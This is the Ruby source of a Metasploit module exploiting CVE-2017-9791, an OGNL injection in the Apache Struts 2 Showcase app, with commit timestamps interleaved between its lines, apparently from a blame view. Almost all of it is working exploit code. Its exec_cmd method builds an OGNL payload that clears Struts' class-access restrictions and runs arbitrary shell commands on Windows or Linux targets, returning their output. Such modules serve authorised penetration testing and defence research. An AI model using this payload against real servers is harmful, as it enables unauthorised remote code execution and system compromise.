2017-07-15 16:55:47 -04:00
##
2018-05-16 05:39:17 -05:00
# This module requires Metasploit: https://metasploit.com/download
2017-07-15 16:55:47 -04:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution' ,
2017-09-07 12:19:53 -04:00
'Description' = > %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. } ,
2017-07-15 16:55:47 -04:00
'License' = > MSF_LICENSE ,
2017-07-15 19:34:44 -04:00
'Author' = > [
2017-07-15 19:25:07 -04:00
'icez <ic3z at qq dot com>' ,
2017-07-15 21:37:38 -04:00
'Nixawk' ,
2017-07-15 19:34:44 -04:00
'xfer0'
2017-07-15 19:25:07 -04:00
] ,
2017-07-15 16:55:47 -04:00
'References' = > [
[ 'CVE' , '2017-9791' ] ,
2017-07-17 14:20:11 -04:00
[ 'BID' , '99484' ] ,
[ 'EDB' , '42324' ] ,
2017-07-15 16:55:47 -04:00
[ 'URL' , 'https://cwiki.apache.org/confluence/display/WW/S2-048' ]
] ,
'Privileged' = > true ,
'Targets' = > [
2017-07-15 23:33:01 -04:00
[
'Universal' , {
'Platform' = > %w{ linux unix win } ,
'Arch' = > [ ARCH_CMD ]
}
]
2017-07-15 16:55:47 -04:00
] ,
'DisclosureDate' = > 'Jul 07 2017' ,
2017-09-07 12:19:53 -04:00
'DefaultTarget' = > 0 ) )
2017-07-15 16:55:47 -04:00
2017-09-07 12:19:53 -04:00
register_options (
[
Opt :: RPORT ( 8080 ) ,
OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action' , '/struts2-showcase/integration/saveGangster.action' ] ) ,
OptString . new ( 'POSTPARAM' , [ true , 'The HTTP POST parameter' , 'name' ] )
]
)
2017-07-15 16:55:47 -04:00
end
2017-07-15 17:48:34 -04:00
2017-07-15 16:55:47 -04:00
def send_struts_request ( ognl )
var_a = rand_text_alpha_lower ( 4 )
var_b = rand_text_alpha_lower ( 4 )
uri = normalize_uri ( datastore [ 'TARGETURI' ] )
2017-07-16 12:28:24 -04:00
2017-07-15 16:55:47 -04:00
data = {
2017-07-16 21:30:07 -04:00
datastore [ 'POSTPARAM' ] = > ognl ,
2017-07-15 16:55:47 -04:00
'age' = > var_a ,
'__checkbox_bustedBefore' = > 'true' ,
'description' = > var_b
}
2017-07-16 21:30:07 -04:00
2017-07-15 16:55:47 -04:00
resp = send_request_cgi ( {
2017-07-15 23:33:01 -04:00
'uri' = > uri ,
'method' = > 'POST' ,
'vars_post' = > data
2017-07-15 16:55:47 -04:00
} )
2017-07-15 17:48:34 -04:00
2017-07-15 16:55:47 -04:00
if resp && resp . code == 404
fail_with ( Failure :: BadConfig , 'Server returned HTTP 404, please double check TARGETURI' )
end
resp
end
2017-07-15 17:48:34 -04:00
2017-07-15 16:55:47 -04:00
def check
2017-07-16 21:30:07 -04:00
var_a = rand_text_alpha_lower ( 4 )
var_b = rand_text_alpha_lower ( 4 )
ognl = " %{' #{ var_a } ' + ' #{ var_b } '} "
2017-07-15 17:48:34 -04:00
2017-07-15 16:55:47 -04:00
begin
2017-07-16 21:30:07 -04:00
resp = send_struts_request ( ognl )
2017-07-15 16:55:47 -04:00
rescue Msf :: Exploit :: Failed
return Exploit :: CheckCode :: Unknown
end
2017-07-15 17:48:34 -04:00
2017-07-16 21:30:07 -04:00
if resp && resp . code == 200 && resp . body . include? ( " #{ var_a } #{ var_b } " )
2017-07-15 16:55:47 -04:00
Exploit :: CheckCode :: Vulnerable
else
Exploit :: CheckCode :: Safe
end
end
2017-07-15 17:48:34 -04:00
2017-07-15 16:55:47 -04:00
def exploit
2017-07-15 23:33:01 -04:00
resp = exec_cmd ( payload . encoded )
2017-09-07 12:19:53 -04:00
unless resp and resp . code == 200
fail_with ( Failure :: Unknown , " Exploit failed. " )
2017-07-15 17:18:11 -04:00
end
2017-09-07 12:19:53 -04:00
print_good ( " Command executed " )
print_line ( resp . body )
2017-07-15 16:55:47 -04:00
end
2017-07-15 17:48:34 -04:00
2017-07-15 16:55:47 -04:00
def exec_cmd ( cmd )
2017-07-16 21:30:07 -04:00
ognl = " %{( # _='multipart/form-data'). "
ognl << " ( # dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). "
ognl << " ( # _memberAccess?( # _memberAccess= # dm): "
ognl << " (( # container= # context['com.opensymphony.xwork2.ActionContext.container']). "
ognl << " ( # ognlUtil= # container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). "
ognl << " ( # ognlUtil.getExcludedPackageNames().clear()). "
ognl << " ( # ognlUtil.getExcludedClasses().clear()). "
ognl << " ( # context.setMemberAccess( # dm)))). "
2017-07-15 16:55:47 -04:00
ognl << " ( # cmd=' #{ cmd } '). "
2017-07-16 21:30:07 -04:00
ognl << " ( # iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( # cmds=( # iswin?{'cmd.exe','/c', # cmd}:{'/bin/bash','-c', # cmd})). "
ognl << " ( # p=new java.lang.ProcessBuilder( # cmds)).( # p.redirectErrorStream(true)).( # process= # p.start()). "
ognl << " ( # ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). "
ognl << " (@org.apache.commons.io.IOUtils@copy( # process.getInputStream(), # ros)).( # ros.flush())} "
2017-07-15 16:55:47 -04:00
send_struts_request ( ognl )
end
end